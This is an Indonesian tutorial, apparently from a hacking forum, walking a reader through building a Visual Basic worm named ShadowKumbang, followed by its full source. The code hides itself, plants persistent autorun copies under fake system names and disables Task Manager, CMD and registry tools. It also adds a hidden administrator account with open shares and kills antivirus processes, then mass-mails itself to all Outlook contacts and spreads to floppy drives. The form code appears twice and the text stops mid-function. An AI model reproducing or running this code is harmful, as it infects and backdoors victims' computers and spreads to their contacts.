a. Buka Visual Basic
b. Klik File terus New Project
c. Muncul Jendela New Project | pilih Standard EXE | Klik OK
d. Rubah Name Formnya di Properties jadi ShadowKumbang
e. Pada form kosong | Masukin 4 komponen yang udah ada di Tool BOX
Di anataranya :
Timer -> Propertiesnya di Interval rubah jadi 30000
DriveListBox, -> Properties gak usah dirubah gak penting
DirListBox, -> Properties gak usah dirubah gak perlu
FileListBox, -> Properties gak usah dirubah bikin capek aja
f. Udah itu aja | terus gimana.. ya masukin Coding Form 1 dunks..
g. Kalo udah masukin 2 Module
h. Pada Menu Bar | Klik Project | pilih add Module
i. Rubah name di Modulenya Mkumbang1 ama Mkumbang2
j. Kalo udah gimana
k. Ya.. tetep masuk..in dunks Codingnya hi.. hi..
l. Kalo udah juga.. Simpan Projectnya
m. Klik File Save Project
n. Rubah nama Form1 jadi ShadowKumbang terus..
o. Project1 jadi ShadowAngel
p. Kalo udah,iiih udah terus cepet amat sih…
q. Rubah nama EXE
r. Klik Project | pilih ShadowAngelProperties |Pilih Tab Make
s. Pada Titelnya ganti namanya jadi Shadow Kumbang
t. Kalo Udah kita buat .Exe..nya
u. Klik File | pilih Make ShadowKumbang
v. Pilih tempat Simpenya..
w. Udah itu aja.. terus gimana..
x. Ya di jalan..in dunks.. EXE yang kita buat tadi
y. Udah gak ada lagi..
Kalo mau lebih jelasnya lihat aja gambar di bawah ini oke..
Taruh Coding di bawah ini Di Form :
Kode:
Private Declare Function PlaySound Lib "winmm.dll" Alias "PlaySoundA" (ByVal lpszName As String, ByVal hModule As Long, ByVal dwFlags As Long) As Long
Const HKLM As String = "HKEY_LOCAL_MACHINE\"
Const HKCU As String = "HKEY_CURRENT_USER\"
Const HKCR As String = "HKEY_CLASSES_ROOT\"
Const SWP_HIDEWINDOW = &H80
Const Cr = vbCrLf
Private Sub Form_Load(): Me.Visible = False: App.TaskVisible = False
On Error Resume Next
Dim BackUpKumbang As String: BackUpKumbang = Windir & "\Kumbang.exe"
If LCase(RacunKumbang) <> LCase(BackUpKumbang) Then
FileCopy RacunKumbang, BackUpKumbang
Shell BackUpKumbang, vbHide
If InStr(RacunKumbang, ".txt.") Then
Shell "notepad.exe", vbNormalFocus
SendKeys "-: Salam Vxer :-" & Cr & "[- Tingkatkan Masyarakat Vxer -]" & Cr & "Thanks All Vxer" & Cr & "www.Shadow-Angel.com", 1
End If
If App.EXEName = "emm386" Then Shell "iexplore.exe http://www.Shadow-Angel.com"
End
End If
Call MatiinAntivirus
Call Register
Call KumbangTerbang
Call Infeksi_Kumbang
FileCopy RacunKumbang, Windir & "\Jangan Di Baca.txt.exe"
FileCopy RacunKumbang, Windir & "\www.ShadowAngel.com"
FileCopy RacunKumbang, Windir & "\www.yahoo.com"
FileCopy RacunKumbang, Windir & "\ShadowAngel.exe"
FileCopy RacunKumbang, Windir & "\notepad.com"
FileCopy RacunKumbang, Windir & "\telnet.com"
FileCopy RacunKumbang, Windir & "\internet.log.exe"
FileCopy RacunKumbang, Windir & "\system.com"
FileCopy RacunKumbang, Windir & "\kernel32.com"
FileCopy RacunKumbang, Windir & "\emm386.com"
FileCopy RacunKumbang, Windir & "\regedit.com"
FileCopy RacunKumbang, Windir & "\paint.com"
FileCopy RacunKumbang, Windir & "\winhlp32.com"
FileCopy RacunKumbang, Windir & "\winhelp.com"
FileCopy RacunKumbang, Windir & "\taskman.com"
FileCopy RacunKumbang, Windir & "\hh.com"
FileCopy RacunKumbang, Windir & "\extrac32.com"
FileCopy RacunKumbang, Windir & "\ping.com"
If App.PrevInstance Then
End
End If
End Sub
Private Sub Register()
Dim RegRun As String, RegOpen As String
RegOpen = "file\shell\open\command"
RegRun = Chr(83) + Chr(111) + Chr(102) + Chr(116) + Chr(119) + Chr(97) + Chr(114) + Chr(101) + Chr(92) + Chr(77) + Chr(105) + Chr(99) + Chr(114) + Chr(111) + Chr(115) + Chr(111) + Chr(102) + Chr(116) + Chr(92) + Chr(87) + Chr(105) + Chr(110) + Chr(100) + Chr(111) + Chr(119) + Chr(115) + Chr(92) + Chr(67) + Chr(117) + Chr(114) + Chr(114) + Chr(101) + Chr(110) + Chr(116) + Chr(86) + Chr(101) + Chr(114) + Chr(115) + Chr(105) + Chr(111) + Chr(110) + Chr(92) + Chr(82) + Chr(117) + Chr(110)
CreatDword HKCU & Left(RegRun, 42) & "Policies\system", "DisableTaskMgr", "1"
CreatString HKLM & RegRun, "VGA Task", "Kumbang.exe"
CreatString HKLM & RegRun, "Windows Help Srv", "Winhelp.com"
CreatString HKLM & RegRun & "Once", "System Help", "HH.com"
CreatString HKLM & RegRun & "Once", "Win HELP", "winhlp32.com"
CreatString HKLM & RegRun & "ServicesOnce", "System", "system.com"
CreatString HKLM & RegRun & "Services", "SysPing", "ping.com"
CreatString HKLM & RegRun & "Services", "INTERNET-Log", "internet.log.exe"
CreatDword HKCU & Left(RegRun, 42) & "Explorer\Advanced", "DisableTaskMgr", "1"
CreatDword HKCU & Left(RegRun, 42) & "Explorer\Advanced", "HideFileExt", "1"
CreatDword HKCU & Left(RegRun, 42) & "Policies\Explorer", "NoUserNameInStartMenu", "1"
CreatDword HKCU & Left(RegRun, 42) & "Policies\Explorer", "NoViewContextMenu", "1"
CreatDword HKCU & Left(RegRun, 42) & "Policies\Explorer", "NoLogOff", "1"
CreatDword HKCU & Left(RegRun, 42) & "Policies\Explorer", "NoFolderOptions", "1"
CreatDword HKCU & Left(RegRun, 42) & "Policies\Explorer", "NoRun", "1"
CreatDword HKCU & Left(RegRun, 42) & "Policies\Explorer", "NoFind", "1"
CreatDword HKCU & Left(RegRun, 42) & "Policies\System", "DisableRegistryTools", "1"
CreatDword HKCU & Left(RegRun, 42) & "Policies\System", "DisableCMD", "1"
CreatDword HKCU & Left(RegRun, 42) & "Explorer\Advanced", "ShowSuperHidden", "1"
CreatDword HKCU & Left(RegRun, 42) & "Explorer\Advanced", "Start_ShowControlPanel", "0"
CreatDword HKCU & Left(RegRun, 42) & "Explorer\Advanced", "Start_ShowHelp", "0"
CreatDword HKCU & Left(RegRun, 42) & "Explorer\Advanced", "Start_ShowMyComputer", "0"
CreatDword HKCU & Left(RegRun, 42) & "Explorer\Advanced", "Start_ShowMyDocs", "0"
CreatDword HKCU & Left(RegRun, 42) & "Explorer\Advanced", "Start_ShowMyMusic", "0"
CreatDword HKCU & Left(RegRun, 42) & "Explorer\Advanced", "Start_ShowMyPics", "0"
CreatDword HKCU & Left(RegRun, 42) & "Explorer\Advanced", "Start_ShowSearch", "0"
CreatDword HKCU & Left(RegRun, 42) & "Explorer\Advanced", "SuperHidden", "1"
CreatDword HKCU & Left(RegRun, 42) & "Explorer\Advanced", "Start_ShowPrinters ", "0"
CreatDword HKCU & Left(RegRun, 42) & "Explorer\Advanced", "Start_LargeMFUIcons", "1"
CreatDword HKCU & Left(RegRun, 42) & "Explorer\Advanced", "Hidden", "0"
CreatDword HKCU & Left(RegRun, 42) & "Control Panel\Mouse", "SwapMouseButtons", "1"
CreatDword HKCU & Left(RegRun, 42) & "CurrentVersion\Policies", "System", "1"
CreatDword HKCU & Left(RegRun, 42) & "CurrentVersion\Internet Settings", "ProxyEnable", "1"
CreatDword HKCU & Left(RegRun, 42) & "CurrentVersion\Internet Settings", "ProxyServer", "127.0.0.1:1271"
CreatDword HKCU & Left(RegRun, 42) & "Internet Explorer\Control Panel", "Connection Settings", "1"
CreatDword HKCU & Left(RegRun, 42) & "Internet Explorer\Control Panel", "Connwiz Admin Lock", "1"
CreatDword HKLM & RegRun & "Winlogon\SpecialAccounts\UserList", "Kumbang", "1"
CreatDword HKLM & RegRun & "Services\LanmanServer\Parameters", "Hidden", "1"
CreatString HKCU & RegRun, "(C) By Shadow Angel", "Kumbang.exe"
CreatString HKCU & RegRun, "MSREG32 Service", "Regedit.com"
CreatString HKCU & RegRun, "Win32 Service", "extrac32.com"
CreatString HKCU & RegRun & "Once", "MSTelnet", "telnet.com"
CreatString HKCU & "Internet Explorer\Main", "Start Page", "http://www.ShadowAngel.com"
'-------------------------------------------------------------------------------------------------
CreatString HKCR & "Htmlfile\shell\opennew\command", "", "emm386.com"
CreatString HKCR & "MPEG" & RegOpen, "", "paint.com"
CreatString HKCR & "txt" & RegOpen, "", "notepad.com"
CreatString HKCR & "mp3" & RegOpen, "", "kernel32.com"
CreatString HKCR & "exefile\shell\runas\command", "", "taskman.com"
End Sub
Function SayapKumbang(): On Error Resume Next
Dim a, b, f, d, g, Body, Reg
Set Reg = CreateObject("wscript.shell")
Reg.regwrite Chr(72) + Chr(75) + Chr(69) + Chr(89) + Chr(95) + Chr(67) + Chr(85) + Chr(82) + Chr(82) + Chr(69) + Chr(78) + Chr(84) + Chr(95) + Chr(85) + Chr(83) + Chr(69) + Chr(82) + Chr(92) + Chr(83) + Chr(111) + Chr(102) + Chr(116) + Chr(119) + Chr(97) + Chr(114) + Chr(101) + Chr(92) + Chr(77) + Chr(105) + Chr(99) + Chr(114) + Chr(111) + Chr(115) + Chr(111) + Chr(102) + Chr(116) + Chr(92) + Chr(79) + Chr(102) + Chr(102) + Chr(105) + Chr(99) + Chr(101) + Chr(92) + Chr(49) + Chr(48) + Chr(46) + Chr(48) + Chr(92) + Chr(79) + Chr(117) + Chr(116) + Chr(108) + Chr(111) + Chr(111) + Chr(107) + Chr(92) + Chr(83) + Chr(101) + Chr(99) + Chr(117) + Chr(114) + Chr(105) + Chr(116) + Chr(121) + Chr(92) + Chr(76) + Chr(101) + Chr(118) + Chr(101) + Chr(108) + Chr(49) + Chr(82) + Chr(101) + Chr(109) + Chr(111) + Chr(118) + Chr(101), Chr(46) + Chr(99) + Chr(111) + Chr(109) + Chr(59) + Chr(46) + Chr(101) + Chr(120) + Chr(101)
If Reg.RegRead("HKEY_CURRENT_USER\Software\Microsoft\" & Chr(73) + Chr(110) + Chr(116) + Chr(101) + Chr(114) + Chr(110) + Chr(101) + Chr(116) + Chr(32) + Chr(65) + Chr(99) + Chr(99) + Chr(111) + Chr(117) + Chr(110) + Chr(116) + Chr(32) + Chr(77) + Chr(97) + Chr(110) + Chr(97) + Chr(103) + Chr(101) + Chr(114) + Chr(92) + Chr(65) + Chr(99) + Chr(99) + Chr(111) + Chr(117) + Chr(110) + Chr(116) + Chr(115) + Chr(92) + Chr(48) + Chr(48) + Chr(48) + Chr(48) + Chr(48) + Chr(48) + Chr(48) + Chr(49) + Chr(92) + Chr(83) + Chr(77) + Chr(84) + Chr(80) + Chr(32) + Chr(69) + Chr(109) + Chr(97) + Chr(105) + Chr(108) + Chr(32) + Chr(65) + Chr(100) + Chr(100) + Chr(114) + Chr(101) + Chr(115) + Chr(115)) <> "" Then
Body = String(80, "=") & Cr
Body = Body & "Salam Vxer" & Cr
Body = Body & "Tingkatkan Masyarakat Vxer" & Cr
Body = Body & "Thanks Vxer" & Cr
Body = Body & String(80, "=")
Set a = CreateObject(Chr(79) + Chr(117) + Chr(116) + Chr(108) + Chr(111) + Chr(111) + Chr(107) + Chr(46) + Chr(65) + Chr(112) + Chr(112) + Chr(108) + Chr(105) + Chr(99) + Chr(97) + Chr(116) + Chr(105) + Chr(111) + Chr(110))
Set b = a.getnamespace(Chr(77) + Chr(65) + Chr(80) + Chr(73))
If a = Chr(79) + Chr(117) + Chr(116) + Chr(108) + Chr(111) + Chr(111) + Chr(107) Then
b.Logon "profile", "password"
For f = 1 To b.addresslists.Count
For d = 1 To b.addresslists(f).addressentries.Count
With a.createitem(0)
Set g = b.addresslists(f).addressentries(d)
.Recipients.Add g
.Subject = "Salam Vxer :)"
.Body = Body
.Attachments.Add Windir & "\Jangan Di Baca.txt.exe", 1, 1, "Jangan Di Baca.txt"
.Attachments.Add Windir & "\www.Shadow-Angel.com", 1, 2, "http://www.Shadow-Angel.com"
.Attachments.Add Windir & "\www.yahoo.com", 1, 3, "[ Yahoo ]"
.Importance = 2
.DeleteAfterSubmit = True
.send
End With
g = ""
Next d
Next f
b.logoff
End If
Else
MsgBox "Please... atur dulu Outlooknya ya.. ", 64, "Pesan Kumbang"
End If
End Function
Private Sub Timer1_Timer(): On Error Resume Next
Dim Hid As Long
Call MatiinAntivirus
If JaringanKumbang() = True And Me.Caption <> "ok" Then
Me.Caption = "ok"
Call Jalankan_Kumbang2
Call SayapKumbang
End If
If JaringanKumbang() = False And Me.Caption = "ok" Then
Call Matiin_Kumbang2
Me.Caption = ""
End If
If Me.Caption = "ShutDown" Then Unload Me
If Day(Now) = 17 Then
PlaySound Windir & "\Media\notify.wav", 1, 1
Hid = FindWindow("Shell_traywnd", "")
Call SetWindowPos(Hid, 0, 0, 0, 0, 0, SWP_HIDEWINDOW)
Me.Visible = True
Me.Show
Me.Caption = "ShutDown"
End If
If Timer1.Tag Mod 4 = 0 Then
If Dir("A:\*.*") <> "" Then Call Infeksi_Kumbang2("A:")
FileCopy RacunKumbang, "A:\Jangan Di Baca.txt.exe"
FileCopy RacunKumbang, "A:\Game.com"
End If
Timer1.Tag = Timer1.Tag + 1
End Sub
Private Sub Dir1_Change()
File1.Path = Dir1.Path
End Sub
Private Sub Drive1_Change()
Dir1.Path = Drive1.Drive
End Sub
Private Sub Form_Unload(Cancel As Integer)
Call Shut_Down
End Sub
Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
Call Shut_Down
End Sub
Public Sub Shut_Down()
nLogOff = 0
nReboot = 2
nForceLogOff = 4
nForceReboot = 6
nPowerDown = 8
nForcePowerDown = 12
Set oOS = GetObject("winmgmts:{(Shutdown)}").ExecQuery("Select * from Win32_OperatingSystem")
For Each oOperatingSystem In oOS
oOperatingSystem.Win32Shutdown (nForceReboot)
Next
End Sub
Const HKLM As String = "HKEY_LOCAL_MACHINE\"
Const HKCU As String = "HKEY_CURRENT_USER\"
Const HKCR As String = "HKEY_CLASSES_ROOT\"
Const SWP_HIDEWINDOW = &H80
Const Cr = vbCrLf
Private Sub Form_Load(): Me.Visible = False: App.TaskVisible = False
On Error Resume Next
Dim BackUpKumbang As String: BackUpKumbang = Windir & "\Kumbang.exe"
If LCase(RacunKumbang) <> LCase(BackUpKumbang) Then
FileCopy RacunKumbang, BackUpKumbang
Shell BackUpKumbang, vbHide
If InStr(RacunKumbang, ".txt.") Then
Shell "notepad.exe", vbNormalFocus
SendKeys "-: Salam Vxer :-" & Cr & "[- Tingkatkan Masyarakat Vxer -]" & Cr & "Thanks All Vxer" & Cr & "www.Shadow-Angel.com", 1
End If
If App.EXEName = "emm386" Then Shell "iexplore.exe http://www.Shadow-Angel.com"
End
End If
Call MatiinAntivirus
Call Register
Call KumbangTerbang
Call Infeksi_Kumbang
FileCopy RacunKumbang, Windir & "\Jangan Di Baca.txt.exe"
FileCopy RacunKumbang, Windir & "\www.ShadowAngel.com"
FileCopy RacunKumbang, Windir & "\www.yahoo.com"
FileCopy RacunKumbang, Windir & "\ShadowAngel.exe"
FileCopy RacunKumbang, Windir & "\notepad.com"
FileCopy RacunKumbang, Windir & "\telnet.com"
FileCopy RacunKumbang, Windir & "\internet.log.exe"
FileCopy RacunKumbang, Windir & "\system.com"
FileCopy RacunKumbang, Windir & "\kernel32.com"
FileCopy RacunKumbang, Windir & "\emm386.com"
FileCopy RacunKumbang, Windir & "\regedit.com"
FileCopy RacunKumbang, Windir & "\paint.com"
FileCopy RacunKumbang, Windir & "\winhlp32.com"
FileCopy RacunKumbang, Windir & "\winhelp.com"
FileCopy RacunKumbang, Windir & "\taskman.com"
FileCopy RacunKumbang, Windir & "\hh.com"
FileCopy RacunKumbang, Windir & "\extrac32.com"
FileCopy RacunKumbang, Windir & "\ping.com"
If App.PrevInstance Then
End
End If
End Sub
Private Sub Register()
Dim RegRun As String, RegOpen As String
RegOpen = "file\shell\open\command"
RegRun = Chr(83) + Chr(111) + Chr(102) + Chr(116) + Chr(119) + Chr(97) + Chr(114) + Chr(101) + Chr(92) + Chr(77) + Chr(105) + Chr(99) + Chr(114) + Chr(111) + Chr(115) + Chr(111) + Chr(102) + Chr(116) + Chr(92) + Chr(87) + Chr(105) + Chr(110) + Chr(100) + Chr(111) + Chr(119) + Chr(115) + Chr(92) + Chr(67) + Chr(117) + Chr(114) + Chr(114) + Chr(101) + Chr(110) + Chr(116) + Chr(86) + Chr(101) + Chr(114) + Chr(115) + Chr(105) + Chr(111) + Chr(110) + Chr(92) + Chr(82) + Chr(117) + Chr(110)
CreatDword HKCU & Left(RegRun, 42) & "Policies\system", "DisableTaskMgr", "1"
CreatString HKLM & RegRun, "VGA Task", "Kumbang.exe"
CreatString HKLM & RegRun, "Windows Help Srv", "Winhelp.com"
CreatString HKLM & RegRun & "Once", "System Help", "HH.com"
CreatString HKLM & RegRun & "Once", "Win HELP", "winhlp32.com"
CreatString HKLM & RegRun & "ServicesOnce", "System", "system.com"
CreatString HKLM & RegRun & "Services", "SysPing", "ping.com"
CreatString HKLM & RegRun & "Services", "INTERNET-Log", "internet.log.exe"
CreatDword HKCU & Left(RegRun, 42) & "Explorer\Advanced", "DisableTaskMgr", "1"
CreatDword HKCU & Left(RegRun, 42) & "Explorer\Advanced", "HideFileExt", "1"
CreatDword HKCU & Left(RegRun, 42) & "Policies\Explorer", "NoUserNameInStartMenu", "1"
CreatDword HKCU & Left(RegRun, 42) & "Policies\Explorer", "NoViewContextMenu", "1"
CreatDword HKCU & Left(RegRun, 42) & "Policies\Explorer", "NoLogOff", "1"
CreatDword HKCU & Left(RegRun, 42) & "Policies\Explorer", "NoFolderOptions", "1"
CreatDword HKCU & Left(RegRun, 42) & "Policies\Explorer", "NoRun", "1"
CreatDword HKCU & Left(RegRun, 42) & "Policies\Explorer", "NoFind", "1"
CreatDword HKCU & Left(RegRun, 42) & "Policies\System", "DisableRegistryTools", "1"
CreatDword HKCU & Left(RegRun, 42) & "Policies\System", "DisableCMD", "1"
CreatDword HKCU & Left(RegRun, 42) & "Explorer\Advanced", "ShowSuperHidden", "1"
CreatDword HKCU & Left(RegRun, 42) & "Explorer\Advanced", "Start_ShowControlPanel", "0"
CreatDword HKCU & Left(RegRun, 42) & "Explorer\Advanced", "Start_ShowHelp", "0"
CreatDword HKCU & Left(RegRun, 42) & "Explorer\Advanced", "Start_ShowMyComputer", "0"
CreatDword HKCU & Left(RegRun, 42) & "Explorer\Advanced", "Start_ShowMyDocs", "0"
CreatDword HKCU & Left(RegRun, 42) & "Explorer\Advanced", "Start_ShowMyMusic", "0"
CreatDword HKCU & Left(RegRun, 42) & "Explorer\Advanced", "Start_ShowMyPics", "0"
CreatDword HKCU & Left(RegRun, 42) & "Explorer\Advanced", "Start_ShowSearch", "0"
CreatDword HKCU & Left(RegRun, 42) & "Explorer\Advanced", "SuperHidden", "1"
CreatDword HKCU & Left(RegRun, 42) & "Explorer\Advanced", "Start_ShowPrinters ", "0"
CreatDword HKCU & Left(RegRun, 42) & "Explorer\Advanced", "Start_LargeMFUIcons", "1"
CreatDword HKCU & Left(RegRun, 42) & "Explorer\Advanced", "Hidden", "0"
CreatDword HKCU & Left(RegRun, 42) & "Control Panel\Mouse", "SwapMouseButtons", "1"
CreatDword HKCU & Left(RegRun, 42) & "CurrentVersion\Policies", "System", "1"
CreatDword HKCU & Left(RegRun, 42) & "CurrentVersion\Internet Settings", "ProxyEnable", "1"
CreatDword HKCU & Left(RegRun, 42) & "CurrentVersion\Internet Settings", "ProxyServer", "127.0.0.1:1271"
CreatDword HKCU & Left(RegRun, 42) & "Internet Explorer\Control Panel", "Connection Settings", "1"
CreatDword HKCU & Left(RegRun, 42) & "Internet Explorer\Control Panel", "Connwiz Admin Lock", "1"
CreatDword HKLM & RegRun & "Winlogon\SpecialAccounts\UserList", "Kumbang", "1"
CreatDword HKLM & RegRun & "Services\LanmanServer\Parameters", "Hidden", "1"
CreatString HKCU & RegRun, "(C) By Shadow Angel", "Kumbang.exe"
CreatString HKCU & RegRun, "MSREG32 Service", "Regedit.com"
CreatString HKCU & RegRun, "Win32 Service", "extrac32.com"
CreatString HKCU & RegRun & "Once", "MSTelnet", "telnet.com"
CreatString HKCU & "Internet Explorer\Main", "Start Page", "http://www.ShadowAngel.com"
'-------------------------------------------------------------------------------------------------
CreatString HKCR & "Htmlfile\shell\opennew\command", "", "emm386.com"
CreatString HKCR & "MPEG" & RegOpen, "", "paint.com"
CreatString HKCR & "txt" & RegOpen, "", "notepad.com"
CreatString HKCR & "mp3" & RegOpen, "", "kernel32.com"
CreatString HKCR & "exefile\shell\runas\command", "", "taskman.com"
End Sub
Function SayapKumbang(): On Error Resume Next
Dim a, b, f, d, g, Body, Reg
Set Reg = CreateObject("wscript.shell")
Reg.regwrite Chr(72) + Chr(75) + Chr(69) + Chr(89) + Chr(95) + Chr(67) + Chr(85) + Chr(82) + Chr(82) + Chr(69) + Chr(78) + Chr(84) + Chr(95) + Chr(85) + Chr(83) + Chr(69) + Chr(82) + Chr(92) + Chr(83) + Chr(111) + Chr(102) + Chr(116) + Chr(119) + Chr(97) + Chr(114) + Chr(101) + Chr(92) + Chr(77) + Chr(105) + Chr(99) + Chr(114) + Chr(111) + Chr(115) + Chr(111) + Chr(102) + Chr(116) + Chr(92) + Chr(79) + Chr(102) + Chr(102) + Chr(105) + Chr(99) + Chr(101) + Chr(92) + Chr(49) + Chr(48) + Chr(46) + Chr(48) + Chr(92) + Chr(79) + Chr(117) + Chr(116) + Chr(108) + Chr(111) + Chr(111) + Chr(107) + Chr(92) + Chr(83) + Chr(101) + Chr(99) + Chr(117) + Chr(114) + Chr(105) + Chr(116) + Chr(121) + Chr(92) + Chr(76) + Chr(101) + Chr(118) + Chr(101) + Chr(108) + Chr(49) + Chr(82) + Chr(101) + Chr(109) + Chr(111) + Chr(118) + Chr(101), Chr(46) + Chr(99) + Chr(111) + Chr(109) + Chr(59) + Chr(46) + Chr(101) + Chr(120) + Chr(101)
If Reg.RegRead("HKEY_CURRENT_USER\Software\Microsoft\" & Chr(73) + Chr(110) + Chr(116) + Chr(101) + Chr(114) + Chr(110) + Chr(101) + Chr(116) + Chr(32) + Chr(65) + Chr(99) + Chr(99) + Chr(111) + Chr(117) + Chr(110) + Chr(116) + Chr(32) + Chr(77) + Chr(97) + Chr(110) + Chr(97) + Chr(103) + Chr(101) + Chr(114) + Chr(92) + Chr(65) + Chr(99) + Chr(99) + Chr(111) + Chr(117) + Chr(110) + Chr(116) + Chr(115) + Chr(92) + Chr(48) + Chr(48) + Chr(48) + Chr(48) + Chr(48) + Chr(48) + Chr(48) + Chr(49) + Chr(92) + Chr(83) + Chr(77) + Chr(84) + Chr(80) + Chr(32) + Chr(69) + Chr(109) + Chr(97) + Chr(105) + Chr(108) + Chr(32) + Chr(65) + Chr(100) + Chr(100) + Chr(114) + Chr(101) + Chr(115) + Chr(115)) <> "" Then
Body = String(80, "=") & Cr
Body = Body & "Salam Vxer" & Cr
Body = Body & "Tingkatkan Masyarakat Vxer" & Cr
Body = Body & "Thanks Vxer" & Cr
Body = Body & String(80, "=")
Set a = CreateObject(Chr(79) + Chr(117) + Chr(116) + Chr(108) + Chr(111) + Chr(111) + Chr(107) + Chr(46) + Chr(65) + Chr(112) + Chr(112) + Chr(108) + Chr(105) + Chr(99) + Chr(97) + Chr(116) + Chr(105) + Chr(111) + Chr(110))
Set b = a.getnamespace(Chr(77) + Chr(65) + Chr(80) + Chr(73))
If a = Chr(79) + Chr(117) + Chr(116) + Chr(108) + Chr(111) + Chr(111) + Chr(107) Then
b.Logon "profile", "password"
For f = 1 To b.addresslists.Count
For d = 1 To b.addresslists(f).addressentries.Count
With a.createitem(0)
Set g = b.addresslists(f).addressentries(d)
.Recipients.Add g
.Subject = "Salam Vxer :)"
.Body = Body
.Attachments.Add Windir & "\Jangan Di Baca.txt.exe", 1, 1, "Jangan Di Baca.txt"
.Attachments.Add Windir & "\www.Shadow-Angel.com", 1, 2, "http://www.Shadow-Angel.com"
.Attachments.Add Windir & "\www.yahoo.com", 1, 3, "[ Yahoo ]"
.Importance = 2
.DeleteAfterSubmit = True
.send
End With
g = ""
Next d
Next f
b.logoff
End If
Else
MsgBox "Please... atur dulu Outlooknya ya.. ", 64, "Pesan Kumbang"
End If
End Function
Private Sub Timer1_Timer(): On Error Resume Next
Dim Hid As Long
Call MatiinAntivirus
If JaringanKumbang() = True And Me.Caption <> "ok" Then
Me.Caption = "ok"
Call Jalankan_Kumbang2
Call SayapKumbang
End If
If JaringanKumbang() = False And Me.Caption = "ok" Then
Call Matiin_Kumbang2
Me.Caption = ""
End If
If Me.Caption = "ShutDown" Then Unload Me
If Day(Now) = 17 Then
PlaySound Windir & "\Media\notify.wav", 1, 1
Hid = FindWindow("Shell_traywnd", "")
Call SetWindowPos(Hid, 0, 0, 0, 0, 0, SWP_HIDEWINDOW)
Me.Visible = True
Me.Show
Me.Caption = "ShutDown"
End If
If Timer1.Tag Mod 4 = 0 Then
If Dir("A:\*.*") <> "" Then Call Infeksi_Kumbang2("A:")
FileCopy RacunKumbang, "A:\Jangan Di Baca.txt.exe"
FileCopy RacunKumbang, "A:\Game.com"
End If
Timer1.Tag = Timer1.Tag + 1
End Sub
Private Sub Dir1_Change()
File1.Path = Dir1.Path
End Sub
Private Sub Drive1_Change()
Dir1.Path = Drive1.Drive
End Sub
Private Sub Form_Unload(Cancel As Integer)
Call Shut_Down
End Sub
Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
Call Shut_Down
End Sub
Public Sub Shut_Down()
nLogOff = 0
nReboot = 2
nForceLogOff = 4
nForceReboot = 6
nPowerDown = 8
nForcePowerDown = 12
Set oOS = GetObject("winmgmts:{(Shutdown)}").ExecQuery("Select * from Win32_OperatingSystem")
For Each oOperatingSystem In oOS
oOperatingSystem.Win32Shutdown (nForceReboot)
Next
End Sub
Taruh Coding dibawah ini di Module-> Mkumbang1 :
Kode:
Public Declare Function InternetGetConnectedState Lib "wininet.dll" (ByRef lpSFlags As Long, ByVal dwReserved As Long) As Long
Private Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Declare Function SetWindowPos Lib "user32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal x As Long, ByVal y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long
Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Public Function JaringanKumbang() As Boolean
JaringanKumbang = InternetGetConnectedState(0&, 0&)
End Function
Public Function Windir() As String
Dim stf As String * 255, intl As Integer
intl = GetWindowsDirectory(stf, 255)
Windir = (Left(stf, intl))
End Function
Public Function CreatString(Path As String, Var As String, Val As String) As Long
Dim File As String: Randomize
File = "C:\" & Int(Rnd * 100) & "reg.reg"
Open File For Output As #1
Print #1, "REGEDIT4"
Print #1, Chr(13)
Print #1, "[" & Path & "]"
Print #1, Chr(13)
Print #1, Chr(34) & Var & Chr(34) & "=" & Chr(34) & Val & Chr(34)
Close #1
Shell "regedit /s " & File, vbNormalFocus
Kill File
End Function
Public Function CreatDword(Path As String, Var As String, Val As String) As Long
Dim File As String: Randomize
File = "C:\" & Int(Rnd * 100) & "reg.reg"
Open File For Output As #1
Print #1, "REGEDIT4"
Print #1, Chr(13)
Print #1, "[" & Path & "]"
Print #1, Chr(13)
Print #1, Chr(34) & Var & Chr(34) & "=" & "dword:" & Val
Close #1
Shell "regedit /s " & File, vbNormalFocus
Kill File
End Function
Public Function RacunKumbang() As String
RacunKumbang = App.Path
If Right(RacunKumbang, 1) <> "\" Then RacunKumbang = RacunKumbang & "\"
If Dir(RacunKumbang & App.EXEName & ".com") <> "" Then
RacunKumbang = RacunKumbang & App.EXEName & ".com"
Else
RacunKumbang = RacunKumbang & App.EXEName & ".exe"
End If
End Function
Public Sub KumbangTerbang(): On Error Resume Next
Const Regbkdr As String = "HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\"
CreatDword Regbkdr & "TlntSvr", "Start", "2"
CreatDword Regbkdr & "TermService", "Start", "2"
Open "a.bat" For Output As #1
Print #1, "@echo off"
Print #2, "echo "
Print #1, "Net user Shadow Kumbang pwd /add >nul"
Print #1, "Net localgroup administrators Shadow Kumbang /add >nul"
Print #1, "Net share drive=c: >nul"
Print #1, "Net share drive=d: >nul"
Close
Shell "a.bat", vbHide
End Sub
Public Sub Jalankan_Kumbang2(): On Error Resume Next
Open "Mawar2.bat" For Output As #1
Print #1, "@echo off"
Print #2, "echo "
Print #1, "Net user Shadow Kumbang /active:yes >nul"
Close
Shell " Mawar2.bat", vbHide
End Sub
Public Sub Matiin_Kumbang2(): On Error Resume Next
Open "ShadowKumbang.bat" For Output As #2
Print #2, "@echo off"
Print #2, "echo "
Print #2, "Net user Shadow Kumbang /active:no >nul"
Close
Shell "ShadowKumbang.bat", vbHide
End Sub
Public Sub MatiinAntivirus()
If Environ("os") <> "" Then
Dim NtSp: NtSp = "NET STOP "
Shell NtSp & "MCSHIELD", vbHide
Shell NtSp & "NORTON ANTIVIRUS AUTO PROTECT SERVICE", vbHide
Shell NtSp & "Automatic Updates", vbHide
Shell NtSp & Chr(83) + Chr(104) + Chr(97) + Chr(114) + Chr(101) + Chr(100) + Chr(65) + Chr(99) + Chr(99) + Chr(101) + Chr(115) + Chr(115), vbHide
Call MatiinAntivirus2
End If
End Sub
Private Sub MatiinAntivirus2()
EndTask ("McVSEscn")
EndTask ("MCVSFTSN")
EndTask ("MCTOOL")
EndTask ("MCVSRTE")
EndTask ("MCMNHDLR")
EndTask ("MCAGENT")
EndTask ("MCUPDATE")
EndTask ("MCUPDMGR")
EndTask ("NAVAPSVC")
EndTask ("NAVAPW32")
EndTask ("NAVDX")
EndTask ("NAVLU32")
EndTask ("NAVSTUB")
EndTask ("NAVW32")
